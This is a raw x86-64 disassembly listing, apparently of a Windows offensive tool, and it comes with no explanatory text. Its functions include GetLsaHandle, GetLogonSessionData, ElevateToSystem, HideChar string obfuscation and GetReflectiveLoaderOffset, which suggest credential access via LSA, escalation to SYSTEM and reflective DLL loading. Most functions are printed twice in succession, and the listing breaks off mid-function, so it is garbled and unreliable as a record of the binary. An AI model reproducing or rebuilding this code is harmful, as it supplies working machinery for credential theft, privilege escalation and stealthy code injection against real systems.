140013e9ccall [r13+940]
140013ea3
140013ea3loc_140013ea3:
140013ea3cmp [rsp+160], 0
140013eacje 0x140013ebd
140013eaemov rcx, [rsp+160]
140013eb6call [r13+940]
140013ebd
140013ebdloc_140013ebd:
140013ebdcmp [rsp+104], 0
140013ec3je 0x140013ed1
140013ec5mov rcx, [rsp+104]
140013ecacall [r13+940]
140013ed1
140013ed1loc_140013ed1:
140013ed1mov rcx, [rsp+192]
140013ed9test rcx, rcx
140013edcje 0x140013eee
140013edecall SysNtClose
140013ee3xor r9l, r9l
140013ee6mov [rsp+192], r9
140013eee
140013eeeloc_140013eee:
140013eeemov rcx, [rsp+184]
140013ef6test rcx, rcx
140013ef9je 0x140013f0d
140013efbxor edx, edx
140013efdcall SysNtTerminateThread
140013f02xor r8l, r8l
140013f05mov [rsp+184], r8
140013f0d
140013f0dloc_140013f0d:
140013f0dmov rcx, [rsp+176]
140013f15test rcx, rcx
140013f18je 0x140013f29
140013f1acall SysNtClose
140013f1fxor ecx, ecx
140013f21mov [rsp+176], rcx
140013f29
140013f29loc_140013f29:
140013f29mov edx, 16
140013f2exor eax, eax
140013f30lea rdi, [rsp+256]
140013f38mov rcx, rdx
140013f3brep stosb [rdi], al
140013f3dlea rdi, [rsp+240]
140013f45mov rcx, rdx
140013f48rep stosb [rdi], al
140013f4alea rdi, [rsp+272]
140013f52mov rcx, rdx
140013f55rep stosb [rdi], al
140013f57mov rax, [rsp+368]
140013f5fmov rcx, [rax+4]
140013f63call [r13+1508]
140013f6aadd rsp, 296
140013f71pop rbx
140013f72pop rsi
140013f73pop rdi
140013f74pop rbp
140013f75pop r12
140013f77pop r13
140013f79pop r14
140013f7bpop r15
140013f7dret
140013f7e
140013f7eloc_140013f7e:
140013f7exor edx, edx
140013f80xor eax, eax
140013f82xor r12l, r12l
140013f85xor ebp, ebp
140013f87mov [rsp+112], rax
140013f8cxor ebx, ebx
140013f8exor r15l, r15l
140013f91mov [rsp+104], rdx
140013f96mov [rsp+160], rdx
140013f9emov [rsp+144], rdx
140013fa6jmp 0x140013e32
1400133b0
140013fab
140013fab // align 0x10
140013fab // align 0x10
140013fb0
140013fb0GetAllHandles:
140013fb0push r14
140013fb2push r13
140013fb4mov r13, rcx
140013fb7mov ecx, 64
140013fbcpush r12
140013fbemov r12, rdx
140013fc1mov edx, 32
140013fc6push rbp
140013fc7push rdi
140013fc8push rsi
140013fc9mov esi, 32
140013fcepush rbx
140013fcfsub rsp, 48
140013fd3mov rbp, [rip+0x18396]
140013fdamov [rsp+44], 32
140013fe2lea r14, [rsp+44]
140013fe7call [rbp+932]
140013fedmov rbx, rax
140013ff0
140013ff0loc_140013ff0:
140013ff0mov r8l, [rsp+44]
140013ff5mov r9, r14
140013ff8mov rdx, rbx
140013ffbmov ecx, 16
140014000call SysNtQuerySystemInformation
140014005cmp eax, 0xffffffffc0000004
14001400ajne 0x14001403a
14001400ctest rbx, rbx
14001400fje 0x140014023
140014011mov ecx, esi
140014013mov rdi, rbx
140014016xor eax, eax
140014018rep stosb [rdi], al
14001401amov rcx, rbx
14001401dcall [rbp+940]
140014023
140014023loc_140014023:
140014023mov edx, [rsp+44]
140014027mov ecx, 64
14001402cmov rsi, rdx
14001402fcall [rbp+932]
140014035mov rbx, rax
140014038jmp 0x140013ff0
14001403a
14001403aloc_14001403a:
14001403atest eax, eax
14001403cjs 0x140014051
14001403emov eax, [rsp+44]
140014042mov [r13], rbx
140014046mov [r12], eax
14001404amov eax, 1
14001404fjmp 0x140014070
140014051
140014051loc_140014051:
140014051test rbx, rbx
140014054jne 0x14001405a
140014056
140014056loc_140014056:
140014056xor eax, eax
140014058jmp 0x140014070
14001405a
14001405aloc_14001405a:
14001405amov ecx, [rsp+44]
14001405emov rdi, rbx
140014061xor eax, eax
140014063rep stosb [rdi], al
140014065mov rcx, rbx
140014068call [rbp+940]
14001406ejmp 0x140014056
140014070
140014070loc_140014070:
140014070add rsp, 48
140014074pop rbx
140014075pop rsi
140014076pop rdi
140014077pop rbp
140014078pop r12
14001407apop r13
14001407cpop r14
14001407eret
140013fb0
140013fb0GetAllHandles:
140013fb0push r14
140013fb2push r13
140013fb4mov r13, rcx
140013fb7mov ecx, 64
140013fbcpush r12
140013fbemov r12, rdx
140013fc1mov edx, 32
140013fc6push rbp
140013fc7push rdi
140013fc8push rsi
140013fc9mov esi, 32
140013fcepush rbx
140013fcfsub rsp, 48
140013fd3mov rbp, [rip+0x18396]
140013fdamov [rsp+44], 32
140013fe2lea r14, [rsp+44]
140013fe7call [rbp+932]
140013fedmov rbx, rax
140013ff0
140013ff0loc_140013ff0:
140013ff0mov r8l, [rsp+44]
140013ff5mov r9, r14
140013ff8mov rdx, rbx
140013ffbmov ecx, 16
140014000call SysNtQuerySystemInformation
140014005cmp eax, 0xffffffffc0000004
14001400ajne 0x14001403a
14001400ctest rbx, rbx
14001400fje 0x140014023
140014011mov ecx, esi
140014013mov rdi, rbx
140014016xor eax, eax
140014018rep stosb [rdi], al
14001401amov rcx, rbx
14001401dcall [rbp+940]
140014023
140014023loc_140014023:
140014023mov edx, [rsp+44]
140014027mov ecx, 64
14001402cmov rsi, rdx
14001402fcall [rbp+932]
140014035mov rbx, rax
140014038jmp 0x140013ff0
14001403a
14001403aloc_14001403a:
14001403atest eax, eax
14001403cjs 0x140014051
14001403emov eax, [rsp+44]
140014042mov [r13], rbx
140014046mov [r12], eax
14001404amov eax, 1
14001404fjmp 0x140014070
140014051
140014051loc_140014051:
140014051test rbx, rbx
140014054jne 0x14001405a
140014056
140014056loc_140014056:
140014056xor eax, eax
140014058jmp 0x140014070
14001405a
14001405aloc_14001405a:
14001405amov ecx, [rsp+44]
14001405emov rdi, rbx
140014061xor eax, eax
140014063rep stosb [rdi], al
140014065mov rcx, rbx
140014068call [rbp+940]
14001406ejmp 0x140014056
140014070
140014070loc_140014070:
140014070add rsp, 48
140014074pop rbx
140014075pop rsi
140014076pop rdi
140014077pop rbp
140014078pop r12
14001407apop r13
14001407cpop r14
14001407eret
140013fb0
14001407f
14001407f // align 0x10
14001407f // align 0x10
140014080
140014080GetLUID:
140014080push rdi
140014081xor eax, eax
140014083mov r10, rcx
140014086mov ecx, 14
14001408bsub rsp, 112
14001408flea rdi, [rsp+56]
140014094rep stosd [rdi], eax
140014096xor eax, eax
140014098mov [rsp+52], eax
14001409ctest r10, r10
14001409fje 0x1400140e4
1400140a1mov rdi, [rip+0x182c8]
1400140a8lea rax, [rsp+52]
1400140admov r9l, 56
1400140b3mov rcx, r10
1400140b6mov [rsp+32], rax
1400140bblea r8, [rsp+56]
1400140c0mov edx, 10
1400140c5call [rdi+1340]
1400140cbtest eax, eax
1400140cdje 0x1400140e4
1400140cfmov edx, 8
1400140d4mov ecx, 64
1400140d9call [rdi+932]
1400140dftest rax, rax
1400140e2jne 0x1400140e8
1400140e4
1400140e4loc_1400140e4:
1400140e4xor eax, eax
1400140e6jmp 0x1400140f5
1400140e8
1400140e8loc_1400140e8:
1400140e8mov edx, [rsp+68]
1400140ecmov [rax+4], edx
1400140efmov edx, [rsp+64]
1400140f3mov [rax], edx
1400140f5
1400140f5loc_1400140f5:
1400140f5add rsp, 112
1400140f9pop rdi
1400140faret
140014080
140014080GetLUID:
140014080push rdi
140014081xor eax, eax
140014083mov r10, rcx
140014086mov ecx, 14
14001408bsub rsp, 112
14001408flea rdi, [rsp+56]
140014094rep stosd [rdi], eax
140014096xor eax, eax
140014098mov [rsp+52], eax
14001409ctest r10, r10
14001409fje 0x1400140e4
1400140a1mov rdi, [rip+0x182c8]
1400140a8lea rax, [rsp+52]
1400140admov r9l, 56
1400140b3mov rcx, r10
1400140b6mov [rsp+32], rax
1400140bblea r8, [rsp+56]
1400140c0mov edx, 10
1400140c5call [rdi+1340]
1400140cbtest eax, eax
1400140cdje 0x1400140e4
1400140cfmov edx, 8
1400140d4mov ecx, 64
1400140d9call [rdi+932]
1400140dftest rax, rax
1400140e2jne 0x1400140e8
1400140e4
1400140e4loc_1400140e4:
1400140e4xor eax, eax
1400140e6jmp 0x1400140f5
1400140e8
1400140e8loc_1400140e8:
1400140e8mov edx, [rsp+68]
1400140ecmov [rax+4], edx
1400140efmov edx, [rsp+64]
1400140f3mov [rax], edx
1400140f5
1400140f5loc_1400140f5:
1400140f5add rsp, 112
1400140f9pop rdi
1400140faret
140014080
1400140fb
1400140fb // align 0x10
1400140fb // align 0x10
140014100
140014100GetLogonSessionData:
140014100push r14
140014102push r13
140014104push r12
140014106mov r12, rdx
140014109mov edx, 16
14001410epush rbp
14001410fpush rdi
140014110push rsi
140014111push rbx
140014112mov ebx, 0xffffffffc0000001
140014117sub rsp, 64
14001411bmov rdi, [rip+0x1824e]
140014122mov [rsp+128], rcx
14001412axor ecx, ecx
14001412cmov [rsp+40], rcx
140014131mov ecx, 64
140014136call [rdi+932]
14001413ctest rax, rax
14001413fje 0x140014233
140014145cmp [rsp+128], 0
14001414dmov rsi, rax
140014150je 0x14001419f
140014152lea rdx, [rsp+40]
140014157lea rcx, [rsp+128]
14001415fcall [rdi+1964]
140014165mov ebx, eax
140014167test eax, eax
140014169js 0x140014233
14001416fmov edx, 8
140014174mov ecx, 64
140014179call [rdi+932]
14001417fmov [rsi], rax
140014182test rax, rax
140014185je 0x14001422e
14001418bmov rdx, [rsp+40]
140014190mov [rsi+8], 1
140014197mov [rax], rdx
14001419ajmp 0x140014228
14001419f
14001419floc_14001419f:
14001419flea rdx, [rsp+48]
1400141a4lea rcx, [rsp+36]
1400141a9call [rdi+1972]
1400141afmov ebx, eax
1400141b1test eax, eax
1400141b3js 0x140014233
1400141b5mov edx, [rsp+36]
1400141b9mov ecx, 64
1400141beshl rdx, 3
1400141c2call [rdi+932]
1400141c8mov [rsi], rax
1400141cbtest rax, rax
1400141ceje 0x14001422e
1400141d0mov eax, [rsp+36]
1400141d4xor ebp, ebp
1400141d6lea r13, [rsp+40]
1400141dblea r14, [rsp+56]
1400141e0mov [rsi+8], eax
1400141e3
1400141e3loc_1400141e3:
1400141e3mov rcx, [rsp+48]
1400141e8cmp ebp, [rsp+36]
1400141ecjae 0x140014222
1400141eemov rax, [rcx+8*rbp]
1400141f2mov rdx, r13
1400141f5mov rcx, r14
1400141f8mov [rsp+56], rax
1400141fdcall [rdi+1964]
140014203test eax, eax
140014205mov ebx, eax
140014207mov rax, [rsi]
14001420ajs 0x140014217
14001420cmov rdx, [rsp+40]
140014211mov [rax+8*rbp], rdx
140014215jmp 0x14001421d
140014217
140014217loc_140014217:
140014217xor edx, edx
140014219mov [rax+8*rbp], rdx
14001421d
14001421dloc_14001421d:
14001421dinc rbp
140014220jmp 0x1400141e3
140014222
140014222loc_140014222:
140014222call [rdi+2012]
140014228
140014228loc_140014228:
140014228mov [r12], rsi
14001422cjmp 0x140014233
14001422e
14001422eloc_14001422e:
14001422emov ebx, 0xffffffffc00000a0
140014233
140014233loc_140014233:
140014233add rsp, 64
140014237mov eax, ebx
140014239pop rbx
14001423apop rsi
14001423bpop rdi
14001423cpop rbp
14001423dpop r12
14001423fpop r13
140014241pop r14
140014243ret
140014100
140014100GetLogonSessionData:
140014100push r14
140014102push r13
140014104push r12
140014106mov r12, rdx
140014109mov edx, 16
14001410epush rbp
14001410fpush rdi
140014110push rsi
140014111push rbx
140014112mov ebx, 0xffffffffc0000001
140014117sub rsp, 64
14001411bmov rdi, [rip+0x1824e]
140014122mov [rsp+128], rcx
14001412axor ecx, ecx
14001412cmov [rsp+40], rcx
140014131mov ecx, 64
140014136call [rdi+932]
14001413ctest rax, rax
14001413fje 0x140014233
140014145cmp [rsp+128], 0
14001414dmov rsi, rax
140014150je 0x14001419f
140014152lea rdx, [rsp+40]
140014157lea rcx, [rsp+128]
14001415fcall [rdi+1964]
140014165mov ebx, eax
140014167test eax, eax
140014169js 0x140014233
14001416fmov edx, 8
140014174mov ecx, 64
140014179call [rdi+932]
14001417fmov [rsi], rax
140014182test rax, rax
140014185je 0x14001422e
14001418bmov rdx, [rsp+40]
140014190mov [rsi+8], 1
140014197mov [rax], rdx
14001419ajmp 0x140014228
14001419f
14001419floc_14001419f:
14001419flea rdx, [rsp+48]
1400141a4lea rcx, [rsp+36]
1400141a9call [rdi+1972]
1400141afmov ebx, eax
1400141b1test eax, eax
1400141b3js 0x140014233
1400141b5mov edx, [rsp+36]
1400141b9mov ecx, 64
1400141beshl rdx, 3
1400141c2call [rdi+932]
1400141c8mov [rsi], rax
1400141cbtest rax, rax
1400141ceje 0x14001422e
1400141d0mov eax, [rsp+36]
1400141d4xor ebp, ebp
1400141d6lea r13, [rsp+40]
1400141dblea r14, [rsp+56]
1400141e0mov [rsi+8], eax
1400141e3
1400141e3loc_1400141e3:
1400141e3mov rcx, [rsp+48]
1400141e8cmp ebp, [rsp+36]
1400141ecjae 0x140014222
1400141eemov rax, [rcx+8*rbp]
1400141f2mov rdx, r13
1400141f5mov rcx, r14
1400141f8mov [rsp+56], rax
1400141fdcall [rdi+1964]
140014203test eax, eax
140014205mov ebx, eax
140014207mov rax, [rsi]
14001420ajs 0x140014217
14001420cmov rdx, [rsp+40]
140014211mov [rax+8*rbp], rdx
140014215jmp 0x14001421d
140014217
140014217loc_140014217:
140014217xor edx, edx
140014219mov [rax+8*rbp], rdx
14001421d
14001421dloc_14001421d:
14001421dinc rbp
140014220jmp 0x1400141e3
140014222
140014222loc_140014222:
140014222call [rdi+2012]
140014228
140014228loc_140014228:
140014228mov [r12], rsi
14001422cjmp 0x140014233
14001422e
14001422eloc_14001422e:
14001422emov ebx, 0xffffffffc00000a0
140014233
140014233loc_140014233:
140014233add rsp, 64
140014237mov eax, ebx
140014239pop rbx
14001423apop rsi
14001423bpop rdi
14001423cpop rbp
14001423dpop r12
14001423fpop r13
140014241pop r14
140014243ret
140014100
140014244
140014244 // align 0x10
140014244 // align 0x10
140014250
140014250GetLsaHandle:
140014250push r15
140014252xor r9l, r9l
140014255push r14
140014257push r13
140014259push r12
14001425bpush rbp
14001425cpush rdi
14001425dpush rsi
14001425emov rsi, r8
140014261xor r8l, r8l
140014264push rbx
140014265sub rsp, 88
140014269test edx, edx
14001426bmov rbp, [rip+0x180fe]
140014272mov [rsp+40], r8
140014277lea r12, [rsp+40]
14001427cmov [rsp+36], r9l
140014281jne 0x1400142a5
140014283mov rcx, r12
140014286call [rbp+2004]
14001428cmov ebx, eax
14001428etest eax, eax
140014290jns 0x1400143e7
140014296mov ecx, eax
140014298call [rbp+1452]
14001429emov ebx, eax
1400142a0jmp 0x1400143e7
1400142a5
1400142a5loc_1400142a5:
1400142a5xor eax, eax
1400142a7lea rdi, [rsp+54]
1400142aclea r15, [rsp+36]
1400142b1mov r14, rcx
1400142b4mov ecx, 110
1400142b9mov [rsp+54], rax
1400142belea r13, [rsp+64]
1400142c3mov [rsp+62], 0
1400142cacall HideChar
1400142cfmov ecx, 110
1400142d4mov [rsp+56], al
1400142d8call HideChar
1400142ddmov ecx, 111
1400142e2mov [rsp+62], al
1400142e6call HideChar
1400142ebmov ecx, 87
1400142f0mov [rsp+58], al
1400142f4call HideChar
1400142f9mov ecx, 105
1400142femov [rsp+54], al
140014302call HideChar
140014307mov ecx, 111
14001430cmov [rsp+55], al
140014310call HideChar
140014315mov ecx, 103
14001431amov [rsp+61], al
14001431ecall HideChar
140014323mov ecx, 108
140014328mov [rsp+60], al
14001432ccall HideChar
140014331xor ecx, ecx
140014333mov [rsp+57], al
140014337call HideChar
14001433cmov ecx, 111
140014341mov [rsp+63], al
140014345call HideChar
14001434amov [rsp+72], rdi
14001434fmov r8, r15
140014352mov rdx, r12
140014355mov [rsp+59], al
140014359mov rcx, r13
14001435cmov [rsp+64], 0x90008
140014364call [rbp+1980]
14001436amov ebx, eax
14001436ctest eax, eax
14001436ejs 0x140014378
140014370cmp [rsp+40], 0
140014376jne 0x1400143de
140014378
140014378loc_140014378:
140014378mov rcx, r14
14001437bcall IsSystem
140014380test eax, eax
140014382je 0x1400143a5
140014384mov r8, r15
140014387mov rdx, r12
14001438amov rcx, r13
14001438dcall [rbp+1980]
140014393mov ebx, eax
140014395test eax, eax
140014397jns 0x1400143de
140014399mov ecx, eax
14001439bcall [rbp+1452]
1400143a1mov ebx, eax
1400143a3jmp 0x1400143de
1400143a5
1400143a5loc_1400143a5:
1400143a5call ElevateToSystem
1400143aatest eax, eax
1400143acje 0x1400143d4
1400143aemov r8, r15
1400143b1mov rdx, r12
1400143b4mov rcx, r13
1400143b7call [rbp+1980]
1400143bdmov ebx, eax
1400143bftest eax, eax
1400143c1jns 0x1400143cd
1400143c3mov ecx, eax
1400143c5call [rbp+1452]
1400143cbmov ebx, eax
1400143cd
1400143cdloc_1400143cd:
1400143cdcall TokenRevSelf
1400143d2jmp 0x1400143de
1400143d4
1400143d4loc_1400143d4:
1400143d4mov rax, [rbp+2230]
1400143dbmov ebx, [rax+104]
1400143de
1400143deloc_1400143de:
1400143demov ecx, 10
1400143e3xor eax, eax
1400143e5rep stosb [rdi], al
1400143e7
1400143e7loc_1400143e7:
1400143e7mov rax, [rsp+40]
1400143ecmov [rsi], rax
1400143efadd rsp, 88
1400143f3mov eax, ebx
1400143f5pop rbx
1400143f6pop rsi
1400143f7pop rdi
1400143f8pop rbp
1400143f9pop r12
1400143fbpop r13
1400143fdpop r14
1400143ffpop r15
140014401ret
140014250
140014250GetLsaHandle:
140014250push r15
140014252xor r9l, r9l
140014255push r14
140014257push r13
140014259push r12
14001425bpush rbp
14001425cpush rdi
14001425dpush rsi
14001425emov rsi, r8
140014261xor r8l, r8l
140014264push rbx
140014265sub rsp, 88
140014269test edx, edx
14001426bmov rbp, [rip+0x180fe]
140014272mov [rsp+40], r8
140014277lea r12, [rsp+40]
14001427cmov [rsp+36], r9l
140014281jne 0x1400142a5
140014283mov rcx, r12
140014286call [rbp+2004]
14001428cmov ebx, eax
14001428etest eax, eax
140014290jns 0x1400143e7
140014296mov ecx, eax
140014298call [rbp+1452]
14001429emov ebx, eax
1400142a0jmp 0x1400143e7
1400142a5
1400142a5loc_1400142a5:
1400142a5xor eax, eax
1400142a7lea rdi, [rsp+54]
1400142aclea r15, [rsp+36]
1400142b1mov r14, rcx
1400142b4mov ecx, 110
1400142b9mov [rsp+54], rax
1400142belea r13, [rsp+64]
1400142c3mov [rsp+62], 0
1400142cacall HideChar
1400142cfmov ecx, 110
1400142d4mov [rsp+56], al
1400142d8call HideChar
1400142ddmov ecx, 111
1400142e2mov [rsp+62], al
1400142e6call HideChar
1400142ebmov ecx, 87
1400142f0mov [rsp+58], al
1400142f4call HideChar
1400142f9mov ecx, 105
1400142femov [rsp+54], al
140014302call HideChar
140014307mov ecx, 111
14001430cmov [rsp+55], al
140014310call HideChar
140014315mov ecx, 103
14001431amov [rsp+61], al
14001431ecall HideChar
140014323mov ecx, 108
140014328mov [rsp+60], al
14001432ccall HideChar
140014331xor ecx, ecx
140014333mov [rsp+57], al
140014337call HideChar
14001433cmov ecx, 111
140014341mov [rsp+63], al
140014345call HideChar
14001434amov [rsp+72], rdi
14001434fmov r8, r15
140014352mov rdx, r12
140014355mov [rsp+59], al
140014359mov rcx, r13
14001435cmov [rsp+64], 0x90008
140014364call [rbp+1980]
14001436amov ebx, eax
14001436ctest eax, eax
14001436ejs 0x140014378
140014370cmp [rsp+40], 0
140014376jne 0x1400143de
140014378
140014378loc_140014378:
140014378mov rcx, r14
14001437bcall IsSystem
140014380test eax, eax
140014382je 0x1400143a5
140014384mov r8, r15
140014387mov rdx, r12
14001438amov rcx, r13
14001438dcall [rbp+1980]
140014393mov ebx, eax
140014395test eax, eax
140014397jns 0x1400143de
140014399mov ecx, eax
14001439bcall [rbp+1452]
1400143a1mov ebx, eax
1400143a3jmp 0x1400143de
1400143a5
1400143a5loc_1400143a5:
1400143a5call ElevateToSystem
1400143aatest eax, eax
1400143acje 0x1400143d4
1400143aemov r8, r15
1400143b1mov rdx, r12
1400143b4mov rcx, r13
1400143b7call [rbp+1980]
1400143bdmov ebx, eax
1400143bftest eax, eax
1400143c1jns 0x1400143cd
1400143c3mov ecx, eax
1400143c5call [rbp+1452]
1400143cbmov ebx, eax
1400143cd
1400143cdloc_1400143cd:
1400143cdcall TokenRevSelf
1400143d2jmp 0x1400143de
1400143d4
1400143d4loc_1400143d4:
1400143d4mov rax, [rbp+2230]
1400143dbmov ebx, [rax+104]
1400143de
1400143deloc_1400143de:
1400143demov ecx, 10
1400143e3xor eax, eax
1400143e5rep stosb [rdi], al
1400143e7
1400143e7loc_1400143e7:
1400143e7mov rax, [rsp+40]
1400143ecmov [rsi], rax
1400143efadd rsp, 88
1400143f3mov eax, ebx
1400143f5pop rbx
1400143f6pop rsi
1400143f7pop rdi
1400143f8pop rbp
1400143f9pop r12
1400143fbpop r13
1400143fdpop r14
1400143ffpop r15
140014401ret
140014250
140014402
140014402 // align 0x10
140014402 // align 0x10
140014410
140014410GetMemFile:
140014410mov rax, [rip+0x17f59]
140014417mov rax, [rax+2318]
14001441e
14001441eloc_14001441e:
14001441etest rax, rax
140014421je 0x14001442d
140014423cmp [rax], ecx
140014425je 0x14001442d
140014427mov rax, [rax+40]
14001442bjmp 0x14001441e
14001442d
14001442dloc_14001442d:
14001442dret
140014410
140014410GetMemFile:
140014410mov rax, [rip+0x17f59]
140014417mov rax, [rax+2318]
14001441e
14001441eloc_14001441e:
14001441etest rax, rax
140014421je 0x14001442d
140014423cmp [rax], ecx
140014425je 0x14001442d
140014427mov rax, [rax+40]
14001442bjmp 0x14001441e
14001442d
14001442dloc_14001442d:
14001442dret
140014410
14001442e
14001442e // align 0x10
14001442e // align 0x10
140014430
140014430GetPeArch:
140014430xor eax, eax
140014432test rcx, rcx
140014435je 0x140014457
140014437movsxd rax, [rcx+60]
14001443bmov edx, [rcx+rax+24]
14001443fmov eax, 1
140014444cmp dx, 267
140014449je 0x140014457
14001444bxor eax, eax
14001444dcmp dx, 523
140014452sete al
140014455add eax, eax
140014457
140014457loc_140014457:
140014457ret
140014430
140014430GetPeArch:
140014430xor eax, eax
140014432test rcx, rcx
140014435je 0x140014457
140014437movsxd rax, [rcx+60]
14001443bmov edx, [rcx+rax+24]
14001443fmov eax, 1
140014444cmp dx, 267
140014449je 0x140014457
14001444bxor eax, eax
14001444dcmp dx, 523
140014452sete al
140014455add eax, eax
140014457
140014457loc_140014457:
140014457ret
140014430
140014458
140014458 // align 0x10
140014458 // align 0x10
140014460
140014460GetProcessIdByName:
140014460push r12
140014462xor eax, eax
140014464xor edx, edx
140014466push rbp
140014467mov rbp, rcx
14001446amov ecx, 142
14001446fpush rdi
140014470push rsi
140014471push rbx
140014472sub rsp, 608
140014479mov rsi, [rip+0x17ef0]
140014480lea rdi, [rsp+40]
140014485rep stosd [rdi], eax
140014487mov ecx, 2
14001448ccall [rsi+772]
140014492cmp rax, -1
140014496je 0x1400144c5
140014498lea rdi, [rsp+40]
14001449dmov rbx, rax
1400144a0lea r12, [rsp+84]
1400144a5mov rcx, rax
1400144a8mov [rsp+40], 568
1400144b0mov rdx, rdi
1400144b3call [rsi+780]
1400144b9test eax, eax
1400144bbjne 0x1400144ca
1400144bdmov rcx, rbx
1400144c0call SysNtClose
1400144c5
1400144c5loc_1400144c5:
1400144c5or esi, -1
1400144c8jmp 0x1400144fa
1400144ca
1400144caloc_1400144ca:
1400144camov rdx, rbp
1400144cdmov rcx, r12
1400144d0call StringCompareW
1400144d5test eax, eax
1400144d7jne 0x1400144df
1400144d9mov esi, [rsp+48]
1400144ddjmp 0x1400144f2
1400144df
1400144dfloc_1400144df:
1400144dfmov rdx, rdi
1400144e2mov rcx, rbx
1400144e5call [rsi+788]
1400144ebtest eax, eax
1400144edjne 0x1400144ca
1400144efor esi, -1
1400144f2
1400144f2loc_1400144f2:
1400144f2mov rcx, rbx
1400144f5call SysNtClose
1400144fa
1400144faloc_1400144fa:
1400144faadd rsp, 608
140014501mov eax, esi
140014503pop rbx
140014504pop rsi
140014505pop rdi
140014506pop rbp
140014507pop r12
140014509ret
140014460
140014460GetProcessIdByName:
140014460push r12
140014462xor eax, eax
140014464xor edx, edx
140014466push rbp
140014467mov rbp, rcx
14001446amov ecx, 142
14001446fpush rdi
140014470push rsi
140014471push rbx
140014472sub rsp, 608
140014479mov rsi, [rip+0x17ef0]
140014480lea rdi, [rsp+40]
140014485rep stosd [rdi], eax
140014487mov ecx, 2
14001448ccall [rsi+772]
140014492cmp rax, -1
140014496je 0x1400144c5
140014498lea rdi, [rsp+40]
14001449dmov rbx, rax
1400144a0lea r12, [rsp+84]
1400144a5mov rcx, rax
1400144a8mov [rsp+40], 568
1400144b0mov rdx, rdi
1400144b3call [rsi+780]
1400144b9test eax, eax
1400144bbjne 0x1400144ca
1400144bdmov rcx, rbx
1400144c0call SysNtClose
1400144c5
1400144c5loc_1400144c5:
1400144c5or esi, -1
1400144c8jmp 0x1400144fa
1400144ca
1400144caloc_1400144ca:
1400144camov rdx, rbp
1400144cdmov rcx, r12
1400144d0call StringCompareW
1400144d5test eax, eax
1400144d7jne 0x1400144df
1400144d9mov esi, [rsp+48]
1400144ddjmp 0x1400144f2
1400144df
1400144dfloc_1400144df:
1400144dfmov rdx, rdi
1400144e2mov rcx, rbx
1400144e5call [rsi+788]
1400144ebtest eax, eax
1400144edjne 0x1400144ca
1400144efor esi, -1
1400144f2
1400144f2loc_1400144f2:
1400144f2mov rcx, rbx
1400144f5call SysNtClose
1400144fa
1400144faloc_1400144fa:
1400144faadd rsp, 608
140014501mov eax, esi
140014503pop rbx
140014504pop rsi
140014505pop rdi
140014506pop rbp
140014507pop r12
140014509ret
140014460
14001450a
14001450a // align 0x10
14001450a // align 0x10
140014510
140014510GetProcessesFromHandleTable:
140014510push r12
140014512mov r12, rdx
140014515mov edx, 20004
14001451apush rbp
14001451bpush rdi
14001451cmov rdi, rcx
14001451fmov ecx, 64
140014524push rsi
140014525push rbx
140014526sub rsp, 32
14001452amov rbp, [rip+0x17e3f]
140014531call [rbp+932]
140014537mov r10l, [rdi]
14001453axor r9l, r9l
14001453dmov rbx, rax
140014540
140014540loc_140014540:
140014540cmp r9l, r10l
140014543jae 0x1400145ab
140014545imul rax, r9, 24
140014549mov rcx, rbx
14001454cmovzx edx, [rdi+rax+8]
140014551call ProcessIsIncluded
140014556mov esi, eax
140014558test eax, eax
14001455ajne 0x1400145a6
14001455cmov eax, [rbx]
14001455elea ecx, [rax+1]
140014561cmp ecx, 5000
140014567jbe 0x1400145a0
140014569lea r9, [rip+0x1571f]
140014570mov r8l, 1056
140014576mov rdi, rbx
140014579lea rdx, [rip+0x18aa0]
140014580lea rcx, [rip+0x15441]
140014587call printf
14001458cmov ecx, 20004
140014591xor eax, eax
140014593rep stosb [rdi], al
140014595mov rcx, rbx
140014598call [rbp+940]
14001459ejmp 0x1400145b4
1400145a0
1400145a0loc_1400145a0:
1400145a0mov [rbx], ecx
1400145a2mov [rbx+4*rax+4], edx
1400145a6
1400145a6loc_1400145a6:
1400145a6inc r9
1400145a9jmp 0x140014540
1400145ab
1400145abloc_1400145ab:
1400145abmov [r12], rbx
1400145afmov esi, 1
1400145b4
1400145b4loc_1400145b4:
1400145b4add rsp, 32
1400145b8mov eax, esi
1400145bapop rbx
1400145bbpop rsi
1400145bcpop rdi
1400145bdpop rbp
1400145bepop r12
1400145c0ret
140014510
140014510GetProcessesFromHandleTable:
140014510push r12
140014512mov r12, rdx
140014515mov edx, 20004
14001451apush rbp
14001451bpush rdi
14001451cmov rdi, rcx
14001451fmov ecx, 64
140014524push rsi
140014525push rbx
140014526sub rsp, 32
14001452amov rbp, [rip+0x17e3f]
140014531call [rbp+932]
140014537mov r10l, [rdi]
14001453axor r9l, r9l
14001453dmov rbx, rax
140014540
140014540loc_140014540:
140014540cmp r9l, r10l
140014543jae 0x1400145ab
140014545imul rax, r9, 24
140014549mov rcx, rbx
14001454cmovzx edx, [rdi+rax+8]
140014551call ProcessIsIncluded
140014556mov esi, eax
140014558test eax, eax
14001455ajne 0x1400145a6
14001455cmov eax, [rbx]
14001455elea ecx, [rax+1]
140014561cmp ecx, 5000
140014567jbe 0x1400145a0
140014569lea r9, [rip+0x1571f]
140014570mov r8l, 1056
140014576mov rdi, rbx
140014579lea rdx, [rip+0x18aa0]
140014580lea rcx, [rip+0x15441]
140014587call printf
14001458cmov ecx, 20004
140014591xor eax, eax
140014593rep stosb [rdi], al
140014595mov rcx, rbx
140014598call [rbp+940]
14001459ejmp 0x1400145b4
1400145a0
1400145a0loc_1400145a0:
1400145a0mov [rbx], ecx
1400145a2mov [rbx+4*rax+4], edx
1400145a6
1400145a6loc_1400145a6:
1400145a6inc r9
1400145a9jmp 0x140014540
1400145ab
1400145abloc_1400145ab:
1400145abmov [r12], rbx
1400145afmov esi, 1
1400145b4
1400145b4loc_1400145b4:
1400145b4add rsp, 32
1400145b8mov eax, esi
1400145bapop rbx
1400145bbpop rsi
1400145bcpop rdi
1400145bdpop rbp
1400145bepop r12
1400145c0ret
140014510
1400145c1
1400145c1 // align 0x10
1400145c1 // align 0x10
1400145d0
1400145d0GetReflectiveLoaderOffset:
1400145d0push r14
1400145d2push r13
1400145d4push r12
1400145d6xor r12l, r12l
1400145d9push rbp
1400145dapush rdi
1400145dbpush rsi
1400145dcpush rbx
1400145ddmov rbx, rcx
1400145e0mov rdx, rbx
1400145e3sub rsp, 32
1400145e7movsxd rax, [rcx+60]
1400145ebmov ecx, [rcx+rax+136]
1400145f2call Rva2Offset
1400145f7mov rdx, rbx
1400145famov esi, eax
1400145fcadd rsi, rbx
1400145ffmov ecx, [rsi+32]
140014602call Rva2Offset
140014607mov ecx, [rsi+36]
14001460amov rdx, rbx
14001460dmov r13l, eax
140014610call Rva2Offset
140014615mov r14l, [rsi+24]
